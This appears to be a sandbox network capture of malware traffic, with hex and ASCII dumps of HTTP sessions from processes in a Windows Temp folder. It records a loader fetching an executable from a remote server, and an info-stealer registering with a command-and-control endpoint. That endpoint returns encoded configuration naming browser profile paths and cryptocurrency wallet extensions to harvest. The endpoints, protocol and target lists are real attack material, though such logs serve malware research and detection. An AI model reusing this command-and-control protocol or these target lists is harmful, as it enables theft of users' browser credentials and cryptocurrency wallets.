Nov 19, 2024 22:07:13.367400885 CET	1289	IN	Data Raw: 6f 5f f5 5f 33 78 56 60 79 49 23 eb a7 c4 ca 40 17 f0 52 0a bf 00 b3 7d fb 75 89 1f bc 65 71 f8 96 68 e6 75 65 bd 77 48 7b 49 9e 3a 98 61 a8 1b 6e 08 9a 1e 8d 87 a2 69 81 51 57 5d 0f b8 7c ee 05 48 12 e0 60 1d 91 a0 76 ce 2f e8 03 d3 07 84 77 7e Data Ascii: o__3xV`yI#@R}ueqhuewH{I:aniQW]\|H`v/w~C[=w#:YR2)32t(R3`0kdwNCfDBBv5eK]YCPfe&~b[.7,;wZI7jwNR
Nov 19, 2024 22:07:13.367414951 CET	1289	IN	Data Raw: 20 5e 4d 6f ef 69 a7 77 aa 08 33 20 61 93 61 0a b4 21 4c 21 eb 6f af e3 a1 2a ff 94 b2 b3 ff 09 61 cf 96 36 09 1b ce 70 e8 e0 91 19 08 3f 54 71 07 48 7e d9 04 35 69 cc 7b 31 a7 58 38 bc 5e 93 23 75 74 95 71 09 e6 d0 8b af 4b b5 5a ff fc 69 44 5a Data Ascii: ^Moiw3 aa!L!oa6p?TqH~5i{1X8^#utqKZiDZ_`c~K[2"MeBnXTyHU8P<OdJ,{+^rLWP6"<(:.yYV&+]'"@.C6f\|%6r}+=uo
Nov 19, 2024 22:07:13.367427111 CET	1289	IN	Data Raw: fe 8a 6e 21 b0 4d 22 7c 73 3d 7e 53 40 d9 29 ee e0 35 28 40 84 50 7e d0 12 54 0f 2b d8 a7 16 7a ab 86 52 d9 93 39 a6 5f 51 02 78 5b 75 b7 c0 d8 78 6a 92 86 14 8b 8c 56 6e 34 c6 47 96 e4 bc 03 df 5b d1 48 18 31 45 69 e8 a4 32 db 2e 30 62 b3 cd fe Data Ascii: n!M"\|s=~S@)5(@P~T+zR9_Qx[uxjVn4G[H1Ei2.0by_ej'z~Q/Y/\.{HV4)2Y,XV_1pTCoBQf<[:c$+?*aTB{G-DG0_P_76$=$/K
Nov 19, 2024 22:07:13.369633913 CET	1289	IN	Data Raw: 00 96 56 6e 77 12 45 be 34 8d 38 4f 32 cb 39 12 0c b8 a1 77 a4 04 6b bf 76 f6 fc ab b7 af d6 d5 75 4f a8 3d 7c 3e 9c 1b dd 91 08 fb 55 4b ff 37 d7 17 54 63 47 c4 88 20 72 02 6d 42 80 f9 e1 3a 44 80 e7 c8 d4 c4 51 b4 0c f0 e4 40 60 96 ed 2c 99 2d Data Ascii: VnwE48O29wkvuO=\|>UK7TcG rmB:DQ@`,-U6)<\O `E'Jssb0?Q!ocj;8vK&BAfrR6\ZZ(EK*ZI\\|>&M#NvnTY%Gg<TVP(Y
Nov 19, 2024 22:07:13.369646072 CET	1289	IN	Data Raw: 88 b4 c9 0c 9c a9 66 b7 ce e7 05 8e 38 89 de e9 bb 52 c2 d3 08 52 c6 89 5c 37 c0 a4 26 75 c4 23 e6 73 af 6a d7 53 01 76 6e 7a fb 01 34 73 59 5b 13 21 74 59 16 23 fe d1 dd 82 f0 eb 0a b7 4f aa ec d9 23 0f a9 fc 7e b5 20 f0 f1 84 26 b7 ab 6a 4a eb Data Ascii: f8RR\7&u#sjSvnz4sY[!tY#O#~ &jJkA1I:8~:>5^@smr8?P{E[D04 IT8.IePRNp-U\|+"F>_'a=R=Q"K
Nov 19, 2024 22:07:13.551297903 CET	1289	IN	Data Raw: e2 98 65 65 36 77 7e 26 40 87 75 8f 4d d7 35 77 15 d5 7b 33 66 7d ab 5c 4c 34 a8 9d 75 32 5d 2e 58 f3 a9 3a 40 89 a4 b2 2b 24 34 87 9a 62 ec bf 41 3a e8 31 3b 06 55 43 3c 4a 37 51 6f a9 a8 10 fe 93 38 f0 4c 99 86 a0 f6 cf 3e 01 4b 50 51 6b a8 99 Data Ascii: ee6w~&@uM5w{3f}\L4u2].X:@+$4bA:1;UC<J7Qo8L>KPQk7_cb6I[';Bq-sk4epWu*0?I{i\IzJHjU'E-^_8I!MqOdFF\|rgrGMe>\|?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49973	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:18.293020010 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007497001&unit=246122658369
Nov 19, 2024 22:07:18.507828951 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49981	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:18.716598034 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 22:07:18.924326897 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:18 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Tue, 19 Nov 2024 21:01:53 GMT Connection: keep-alive ETag: "673cfcc1-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 36 5b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"h@h6[@M$a$$ $b@.rsrc$r@.idata $t@ 0*$v@tcmgcthiNx@suhmtczih4@.taggant0h"8@ [TRUNCATED]
Nov 19, 2024 22:07:18.924341917 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:18.924381018 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:18.924391985 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:18.924402952 CET	1289	IN	Data Raw: bf 17 a8 cc 8f b3 88 94 93 a7 97 8c 0d ff bb 86 c7 c7 61 7c 0f e6 05 ff bf c1 2c 8a 03 6f d0 61 9f a5 ef 58 a7 8f e3 7f a8 9f 45 74 97 97 76 68 8f 8f 0e 5c 15 97 7a 4a f7 7f bc 54 a0 8d 90 35 97 53 09 da 72 4b 69 3a 70 5c f0 2b cf a3 df cc cd 66 Data Ascii: a\|,oaXEtvh\zJT5SrKi:p\+fLp\vN~N%=,eVm?kgU`g#uHh-#PSBP5Wf;xlXx4b;$V\eoUTv&"<)T
Nov 19, 2024 22:07:18.924412966 CET	1289	IN	Data Raw: a3 ad 44 ac 9d 1b ca 13 b5 c3 4a 2b cc e2 79 13 5c 3c 70 d3 43 ca 8f d7 d1 4b dd fe b1 1f c2 83 57 07 7b c3 8b f1 12 07 56 82 f4 df 53 60 18 d3 8e 45 62 ae d7 be 6d b3 de 17 e9 8e 1a 06 ea 44 33 ff 94 de e9 f9 22 29 d1 ce 8d 38 99 8b a7 b1 e8 5b Data Ascii: DJ+y\<pCKW{VS`EbmD3")8[hJ"T,dM]HFjam"czJ+TXd{>BEWj(Dk3$,:o*qPI{V&Px!%oJ56m@f043l
Nov 19, 2024 22:07:18.924441099 CET	1289	IN	Data Raw: e9 33 a4 2c 19 84 8f 9d f3 85 33 13 cc 1d ac 91 70 9c 9d c2 e9 64 ab 9b 6b 70 0f ff eb c7 a9 53 2a b2 35 a3 ec 51 9b 17 c1 64 2f 9b 3b 9f a8 1c bc 49 53 c7 bd 0b 32 f8 ab 72 06 d8 2e 65 57 97 87 ce 9b e2 bb ac b3 0f 98 88 7f a9 f7 54 da 8f ae b3 Data Ascii: 3,3pdkpS*5Qd/;IS2r.eWTvKkVQjW03^X?gld+e9=;KGDr2fQqyOLso_-O/\1_X(wG,^M=
Nov 19, 2024 22:07:18.924451113 CET	1289	IN	Data Raw: 2b d0 50 bc 0b 9e a8 7b 58 03 e2 d0 55 b3 97 87 cc 77 c9 67 cd a9 83 ba a9 b9 67 d1 cc 9f 5d cc 83 a8 6d ba 9c 0e b7 bb 73 28 a0 eb 4b 0f 28 d7 10 91 eb 0e 6d 0b 07 be 4b 12 10 5f 4d a7 56 28 e5 9d 17 b0 9f cb 11 49 e8 b3 c9 47 65 3b 97 df e0 b0 Data Ascii: +P{XUwgg]ms(K(mK_MV(IGe;cZdRMGwlOoQU/HkUU+'';C1iFG[T{+$jQ(3I
Nov 19, 2024 22:07:18.924469948 CET	1289	IN	Data Raw: af 11 d0 c1 9d 17 c4 93 b7 9d e7 c7 a9 83 30 3a 91 23 91 29 d8 8f c0 9f c9 07 31 68 d6 dd c9 65 c0 99 ac 59 23 a6 d6 e5 30 95 1f 86 9d 13 b8 97 12 10 cb 9b 24 27 49 5a 37 8f df 87 15 94 2b dc b1 d7 67 5a 5b 0b f8 e3 df 7e fb 4b 0e ff 2b 86 7f af Data Ascii: 0:#)1heY#0$'IZ7+gZ[~K+hy,dD-Vo#*Oo;4Zee+cHf3\|N.-,gs9+oUac3Y>GpXdZzpSAO+
Nov 19, 2024 22:07:18.924480915 CET	1289	IN	Data Raw: d7 17 ae dc 17 a9 2a 44 b8 32 1c d8 a6 30 a1 83 58 24 89 83 4d d3 47 c2 ec 80 77 70 c0 30 12 fe 03 7e cc 90 b2 6a 22 b0 a8 3e b8 8c d4 b3 94 8a 66 18 d1 4f ba 79 2c 4f b9 9e 35 06 93 2c 3a 8c d6 c8 cd d2 89 83 21 a5 b9 2c 5e 0f 92 22 8c c7 49 ef Data Ascii: *D20X$MGwp0~j">fOy,O5,:!,^"I;mNQ?kn0@{kM=JOKrSpJ_pT[w8kXOj;@>{,+e27a(K0:ccoh ~$
Nov 19, 2024 22:07:19.129087925 CET	1289	IN	Data Raw: 19 3b 1d af 58 82 10 fa cd a1 b2 f7 15 88 f8 b4 1e 9c 14 cf f8 48 5c a3 ab 2b 2f 5d 52 00 54 2c af b0 5b 10 e2 55 02 b5 71 e0 97 bc 00 16 36 9b 52 4c 8c 00 b4 92 8f 47 b0 47 f6 5e b8 43 2e 1d 64 ea b1 7b b0 bb ab cc 93 ac 05 3b 52 1c 28 9f ea 47 Data Ascii: ;XH\+/]RT,[Uq6RLGG^C.d{;R(G$}!OHeeQ=C0v}O7Q&^t19m`@{ihH~whc<O#9@rB}~1v)X[3{*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50017	185.215.113.206	80	4124	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:27.708713055 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:07:27.917181969 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:28.157782078 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 42 43 46 38 36 38 36 46 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="hwid"FDBCF8686F272029741119------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="build"mars------KFCGDBAKKKFBGDHJKFHJ--
Nov 19, 2024 22:07:28.388695955 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 55 35 59 57 55 30 4d 47 59 30 4e 54 49 31 4f 54 55 30 4d 6a 4a 6c 4d 32 56 68 59 7a 49 35 59 7a 4d 32 4d 7a 52 6a 4f 57 45 78 4e 6d 5a 6b 4d 6a 6b 77 4d 7a 51 33 5a 6a 59 31 4e 6a 45 78 5a 6a 63 32 4e 54 59 32 4d 54 45 77 5a 6d 5a 6b 5a 57 46 69 4e 7a 52 6c 5a 6a 6b 32 4f 54 52 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzU5YWU0MGY0NTI1OTU0MjJlM2VhYzI5YzM2MzRjOWExNmZkMjkwMzQ3ZjY1NjExZjc2NTY2MTEwZmZkZWFiNzRlZjk2OTRjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 19, 2024 22:07:28.393258095 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"browsers------GHDBAFIIECBFHIEBKJJK--
Nov 19, 2024 22:07:28.603509903 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2VudCBC [TRUNCATED]
Nov 19, 2024 22:07:28.603522062 CET	967	IN	Data Raw: 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 46 55 51 53 56 63 51 32 56 75 64 45 4a 79 62 33 64 7a 5a 58 4a 63 51 58 42 77 62 47 6c 6a 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 Data Ascii: GNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21l
Nov 19, 2024 22:07:28.607472897 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="message"plugins------ECFHJKEBAAECBFHIECGI--
Nov 19, 2024 22:07:28.820722103 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
